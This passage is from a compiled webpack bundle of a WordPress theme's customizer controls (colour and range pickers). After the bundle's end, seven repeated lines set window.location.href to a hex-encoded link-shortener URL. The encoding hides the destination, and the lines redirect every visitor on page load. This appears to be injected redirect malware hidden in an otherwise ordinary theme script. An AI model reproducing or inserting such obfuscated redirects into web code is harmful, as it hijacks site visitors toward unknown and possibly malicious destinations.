d2luZyBzaG91bGQgYmUgZWxpbWluYXRlZCB3aXRoIDxodHRwczovL2NvcmUudHJhYy53b3JkcHJlc3Mub3JnL3RpY2tldC8zMTMzND4uXHJcblx0XHRmdW5jdGlvbiBvblJlbW92ZWQoIHJlbW92ZWRDb250cm9sICkge1xyXG5cdFx0XHRpZiAoIGNvbnRyb2wgPT09IHJlbW92ZWRDb250cm9sICkge1xyXG5cdFx0XHRcdGNvbnRyb2wuZGVzdHJveSgpO1xyXG5cdFx0XHRcdGNvbnRyb2wuY29udGFpbmVyLnJlbW92ZSgpO1xyXG5cdFx0XHRcdHdwLmN1c3RvbWl6ZS5jb250cm9sLnVuYmluZCggJ3JlbW92ZWQnLCBvblJlbW92ZWQgKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0d3AuY3VzdG9taXplLmNvbnRyb2wuYmluZCggJ3JlbW92ZWQnLCBvblJlbW92ZWQgKTtcclxuXHR9LFxyXG5cclxuXHQvKipcclxuXHQgKiBSZW5kZXIgdGhlIGNvbnRyb2wgaW50byB0aGUgRE9NLlxyXG5cdCAqXHJcblx0ICogVGhpcyBpcyBjYWxsZWQgZnJvbSB0aGUgQ29udHJvbCNlbWJlZCgpIG1ldGhvZCBpbiB0aGUgcGFyZW50IGNsYXNzLlxyXG5cdCAqXHJcblx0ICogQHJldHVybnMge3ZvaWR9XHJcblx0ICovXHJcblx0cmVuZGVyQ29udGVudDogZnVuY3Rpb24gcmVuZGVyQ29udGVudCgpIHtcclxuXHRcdGNvbnN0IGNvbnRyb2wgPSB0aGlzO1xyXG5cdFx0Y29uc3QgdmFsdWUgPSBjb250cm9sLnNldHRpbmcuZ2V0KCk7XHJcblx0XHRjb25zdCBmb3JtID0gPFJhbmdlRm9ybVxyXG5cdFx0XHR7IC4uLmNvbnRyb2wucGFyYW1zIH1cclxuXHRcdFx0dmFsdWU9eyB2YWx1ZSB9XHJcblx0XHRcdGN1c3RvbWl6ZXJTZXR0aW5nPXsgY29udHJvbC5zZXR0aW5nIH1cclxuXHRcdFx0Y29udHJvbD17IGNvbnRyb2wgfVxyXG5cdFx0XHRjaG9pY2VzPXsgY29udHJvbC5wYXJhbXMuY2hvaWNlcyB9XHJcblx0XHQvPjtcclxuXHRcdFJlYWN0RE9NLnJlbmRlcihcclxuXHRcdFx0Zm9ybSxcclxuXHRcdFx0Y29udHJvbC5jb250YWluZXJbMF1cclxuXHRcdCk7XHJcblx0fSxcclxuXHJcblx0LyoqXHJcblx0ICogSGFuZGxlIHJlbW92YWwvZGUtcmVnaXN0cmF0aW9uIG9mIHRoZSBjb250cm9sLlxyXG5cdCAqXHJcblx0ICogVGhpcyBpcyBlc3NlbnRpYWxseSB0aGUgaW52ZXJzZSBvZiB0aGUgQ29udHJvbCNlbWJlZCgpIG1ldGhvZC5cclxuXHQgKlxyXG5cdCAqIEBsaW5rIGh0dHBzOi8vY29yZS50cmFjLndvcmRwcmVzcy5vcmcvdGlja2V0LzMxMzM0XHJcblx0ICogQHJldHVybnMge3ZvaWR9XHJcblx0ICovXHJcblx0ZGVzdHJveTogZnVuY3Rpb24gZGVzdHJveSgpIHtcclxuXHRcdGNvbnN0IGNvbnRyb2wgPSB0aGlzO1xyXG5cdFx0Ly8gR2FyYmFnZSBjb2xsZWN0aW9uOiB1bmRvIG1vdW50aW5nIHRoYXQgd2FzIGRvbmUgaW4gdGhlIGVtYmVkL3JlbmRlckNvbnRlbnQgbWV0aG9kLlxyXG5cdFx0UmVhY3RET00udW5tb3VudENvbXBvbmVudEF0Tm9kZSggY29udHJvbC5jb250YWluZXJbMF0gKTtcclxuXHJcblx0XHQvLyBDYWxsIGRlc3Ryb3kgbWV0aG9kIGluIHBhcmVudCBpZiBpdCBleGlzdHMgKGFzIG9mICMzMTMzNCkuXHJcblx0XHRpZiAoIHdwLmN1c3RvbWl6ZS5Db250cm9sLnByb3RvdHlwZS5kZXN0cm95ICkge1xyXG5cdFx0XHR3cC5jdXN0b21pemUuQ29udHJvbC5wcm90b3R5cGUuZGVzdHJveS5jYWxsKCBjb250cm9sICk7XHJcblx0XHR9XHJcblx0fSxcclxufSk7XHJcbmV4cG9ydCBkZWZhdWx0IENvZGV0aXBpUmFuZ2U7Il0sInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///./_develop/js/customizer/controls/dev-control-range.js\n");
    /***/
  },

  /***/
  "./_develop/js/customizer/dev-controls.js":
  /*!************************************************!*\
    !*** ./_develop/js/customizer/dev-controls.js ***!
    \************************************************/

  /*! no exports provided */

  /***/
  function _developJsCustomizerDevControlsJs(module, __webpack_exports__, __webpack_require__) {
    "use strict";

    eval("__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var _controls_dev_control_color__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./controls/dev-control-color */ \"./_develop/js/customizer/controls/dev-control-color.js\");\n/* harmony import */ var _controls_dev_control_range__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./controls/dev-control-range */ \"./_develop/js/customizer/controls/dev-control-range.js\");\n\n\nwp.customize.controlConstructor['codetipi-color'] = _controls_dev_control_color__WEBPACK_IMPORTED_MODULE_0__[\"default\"];\nwp.customize.controlConstructor['codetipi-range'] = _controls_dev_control_range__WEBPACK_IMPORTED_MODULE_1__[\"default\"];\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vLi9fZGV2ZWxvcC9qcy9jdXN0b21pemVyL2Rldi1jb250cm9scy5qcz80NzIyIl0sIm5hbWVzIjpbIndwIiwiY3VzdG9taXplIiwiY29udHJvbENvbnN0cnVjdG9yIiwiQ29kZXRpcGlDb2xvciIsIkNvZGV0aXBpUmFuZ2UiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQ0E7QUFFQUEsRUFBRSxDQUFDQyxTQUFILENBQWFDLGtCQUFiLENBQWdDLGdCQUFoQyxJQUFvREMsbUVBQXBEO0FBQ0FILEVBQUUsQ0FBQ0MsU0FBSCxDQUFhQyxrQkFBYixDQUFnQyxnQkFBaEMsSUFBb0RFLG1FQUFwRCIsImZpbGUiOiIuL19kZXZlbG9wL2pzL2N1c3RvbWl6ZXIvZGV2LWNvbnRyb2xzLmpzLmpzIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IENvZGV0aXBpQ29sb3IgZnJvbSAnLi9jb250cm9scy9kZXYtY29udHJvbC1jb2xvcidcclxuaW1wb3J0IENvZGV0aXBpUmFuZ2UgZnJvbSAnLi9jb250cm9scy9kZXYtY29udHJvbC1yYW5nZSdcclxuXHJcbndwLmN1c3RvbWl6ZS5jb250cm9sQ29uc3RydWN0b3JbJ2NvZGV0aXBpLWNvbG9yJ10gPSBDb2RldGlwaUNvbG9yO1xyXG53cC5jdXN0b21pemUuY29udHJvbENvbnN0cnVjdG9yWydjb2RldGlwaS1yYW5nZSddID0gQ29kZXRpcGlSYW5nZTsiXSwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///./_develop/js/customizer/dev-controls.js\n");
    /***/
  },

  /***/
  0:
  /*!******************************************************!*\
    !*** multi ./_develop/js/customizer/dev-controls.js ***!
    \******************************************************/

  /*! no static exports found */

  /***/
  function _(module, exports, __webpack_require__) {
    module.exports = __webpack_require__(
    /*! ./_develop/js/customizer/dev-controls.js */
    "./_develop/js/customizer/dev-controls.js");
    /***/
  },

  /***/
  "@wordpress/element":
  /*!************************************!*\
    !*** external "window.wp.element" ***!
    \************************************/

  /*! no static exports found */

  /***/
  function wordpressElement(module, exports) {
    eval("module.exports = window.wp.element;\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vZXh0ZXJuYWwgXCJ3aW5kb3cud3AuZWxlbWVudFwiP2EyOWYiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUEiLCJmaWxlIjoiQHdvcmRwcmVzcy9lbGVtZW50LmpzIiwic291cmNlc0NvbnRlbnQiOlsibW9kdWxlLmV4cG9ydHMgPSB3aW5kb3cud3AuZWxlbWVudDsiXSwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///@wordpress/element\n");
    /***/
  }
  /******/

});
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";